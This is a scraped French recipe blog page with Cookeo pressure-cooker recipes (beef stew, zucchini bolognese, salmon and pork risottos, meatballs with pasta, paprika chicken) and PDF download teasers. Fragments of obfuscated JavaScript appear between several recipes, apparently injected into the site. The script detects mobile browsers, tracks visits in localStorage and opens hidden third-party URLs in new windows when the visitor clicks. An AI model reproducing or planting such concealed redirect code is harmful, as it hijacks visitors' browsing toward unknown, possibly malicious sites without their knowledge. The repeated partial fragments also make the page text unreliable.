Recette cookeo boeuf mode : le PDF gratuit

boeuf mode cookeo

Téléchargez gratuitement le PDF de cette recette de boeuf mode fait maison au cookeo en cliquant sur l’image ou ICI




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Courgettes bolognaise au cookeo : comme une weight watchers

COURGETTES BOLOGNAISE

Une recette cookeo de courgettes bolognaise inspirée d’une recette weight watchers . Une recette légère et diététique . Pour les plus gourmands ou les plus affamés vous pouvez consommer les courgettes avec des pâtes et du riz .

Ingrédients pour 2  personnes :

120g de bœuf haché

300  g de  courgettes congelées en rondelles

2 tomates coupées en quartier

100 g d’oignons  congelés

2 gousses d’ail

1 cube de bouillon de bœuf

1 verre de vin blanc

1 petite boite de concentré de tomates

Persil

Sel

Poivre

Huile D’olive

Préparation  de ces courgettes bolognaise:

En mode « Dorer »

Versez l’huile d’olive  dans la cuve, faire revenir les oignons, la viande, et l’ail .

Ajoutez ensuite  les courgettes et le persil . Emiettez le cube de bouillon de bœuf . Versez le vin blanc et 300 ml d’eau .

Salez et poivrez selon votre convenance

 

En mode « Cuisson rapide » ou « Cuisson sous pression » Démarrez la cuisson – 5 minutes

Servez chaud




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PDF gratuit : Risotto de saumon aux poireaux au cookeo

risotto saumon cookeo

Téléchargez gratuitement le PDF de cette recette de risotto de saumon aux poireaux réallisée au cookeo en cliquant sur l’image ou ICI 




//
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Coquillettes et boeuf poivron cookeo : le PDF gratuit

BOULETTES POIVRONS  et coquillettes au COOKEO

Téléchargez gratuitement le PDF  de cette recette cookeo de boulettes de boeuf aux poivrons avec ses coquillettes.Pour téléchargez cliquez sur l’image ou ICI 




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Recette cookeo : boeuf mode maison laissez vous tenter

BOEUF MODE maison COOKEOIngrédients pour 4 personnes

1 kilo de viande à bourguignon

100 g d’oignons congelés

500 grammes de carottes congelées

2 cuillères  à café de concentré de tomate

Thym

Laurier

Poivre

250 ml de vin rouge

1 cube de bouillon de bœuf

2 cuillères  à café de farine .

Huile d’olive

 

Préparation de ce boeuf mode maison

mode dorer

Versez de l’huile d’olive dans la cuve ,faite revenir les oignons congelés puis la viande.

Ajoutez  ensuite les carottes, versez le verre de vin rouge, versez ensuite l’eau avec le cube de bouillon de boeuf.

Poivrez et ajoutez le thym et le laurier.

Passez en cuisson rapide et programmez 45 mn . Quand la cuisson est terminée, ajoutez 2 cuillères à café de concentré de tomates et 2 cuillères à café de farine pour épaissir la sauce servez chaud.





//
// Widgets Amazon.fr





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Boulettes de boeuf et coquillettes aux poivrons :Recette cookeo

COQUILLETTES BOULETTES POIVRONS

Boulettes de boeuf encore une recette sympathique et facile à réaliser .

Ingrédients pour 4 personnes

 

16 boulettes de bœuf

100 g d’oignons congelés

2  cuillères   à café de concentré de tomates

200 g de poivrons congelés

400 g de coquillettes

Huile d’olive

1 cube de bouillon de boeuf

1 petit verre de vin blanc

Poivre

Préparation de ces boulettes

mode “dorer”

Verser l’huile d’olive dans la cuve

Faites revenir les oignons ,les poivrons,  les boulettes de bœuf. Ajoutez les les coquillettes,le verre de vin blanc, le bouillon de cube. Poivrez.

Recouvrez d’eau.

Mélangez avec 2 cuillères à café de  concentré de tomates.

Passez en mode de cuisson rapide et programmer 5 minutes .

Ouvrez votre cookeo et servez chaud.

COQUILLETTES BOULETTES POIVRONS COOKEO1000 RECETTES COOKEO




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Risotto de porc au curry au cookeo le PDF gratuit

 

RISOTTO PORC CURRY COOKEO

Téléchargez gratuitement le PDF  de la recette de risotto de porc au curry en cliquant soit sur l’image soit ICI



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_0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());




Recette cookeo : petits pois aux oignons le PDF gratuit

petits pois aux oignons cookeo pdf

Télechargez gratuitement le PDF  de cette recette de petits pois aux oignons et au cookeo.

Pour le téléchargement cliquez sur l’image ou ICI.




//
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Recette cookeo : risotto porc au curry

 

RISOTTO PORC CURRY COOKEOIngrédients pour 4 personnes

800 g de sauté de porc

240 g de riz

200 g de champignons de Paris congelés

100 g d’oignons congelés

1 verre de vin blanc

Sel

Poivre

Curry

Huile d’olive

2 cuillères à café de moutarde

1 cube de bouillon de bœuf

Préparation de ce risotto porc curry

Mode dorer

Faites chauffer de l’huile d’olive dans la cuve pour faire dorer les oignons. Puis faites dorer la viande avec les oignons.

Coupez le sauté de porc en morceaux.

Ajoutez les champignons, le verre de vin blanc, le riz. Mélangez.

Versez de l’eau avec le cube de bouillon de bœuf émietté.

Saupoudrez de curry, poivrez.

Ajoutez 2 cuillères à café de moutarde.

Cuissson rapide 12 mn; Servez chaud.




//
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|nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());




Risotto de saumon poireaux au cookeo

risotto saumon poireaux cookeo

Ingrédients pour 4 personnes

3 médaillons de saumon

200 g de poireaux congelés

300 g de riz basmati

1 verre de vin blanc

100 g d’oignons congelés

1 cube de bouillon de bœuf

Sel

Poivre

Huile d’olive

Préparation de ce saumon poireaux

Mode dorer

Versez de  l’huile d’olive dan s la cuve pour faire revenir les oignons .Ajoutez les médaillons de saumon. Emiettez les médaillons de saumon au fur et à mesure.

Ajoutez les morceaux de poireaux . Emiettez le cube de bouillon de bœuf. Versez le riz Basmati,le verre de vin blanc. Recouvrir d’eau .

Programmer la fonction rapide pour 10 mn .Servez chaud .




//
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_0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());




Moules à la tomate : recette cookeo le PDF gratuit

moules tomates cookeo

Téléchargez gratuitement le PDF de cette recette cookeo de moules à la tomate en cliquant sur l’image ou ICI




//
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Blanquette de porc au cookeo : PDF gratuit

BLANQUETTE DE PORC COOKEO

Vous pouvez télécharger gratuitement le PDF  de cette recette cookeo de blanquette de porc soit en cliquant sur la photo soit  en cliquant ICI 




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Moules marinières au cookeo : PDF gratuit

moules marinieres cookeo PDF

Téléchargez gratuitement le PDF  de cette recette cookeo de moules marinières.Il vous suffit de cliquez sur l’image ou ICI




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Recette cookeo: poulet paprika et pommes de terre

 

poulet paprika COOKEO

Ingrédients pour 4 personnes

4 escalopes de poulet

12 pommes de terre

100  g d’oignons congelés

Sel

Poivre

1 cuillère à soupe de paprika

1 cube de bouillon de boeuf

2 cuillères à soupe de crème fraîche

Huile d’olive

Préparation de ce poulet paprika

mode dorer

Versez de l’huile dans la cuve pour faire revenir les oignons et les morceaux de viande.

Saupoudrez de paprika ,mélangez. Ajoutez les pommes de terre.Salez et poivrez.

Versez un bouillon constitué d’eau et du cube de bouillon de boeuf.

Ajoutez 2 cuillères à soupe de crème fraîche.

Cuisson rapide 25 mn .

Pour épaissir la sauce repassez en fonction dorer et ajoutez une cuillère de fécule de mais.Laissez mijoter quelques minutes.




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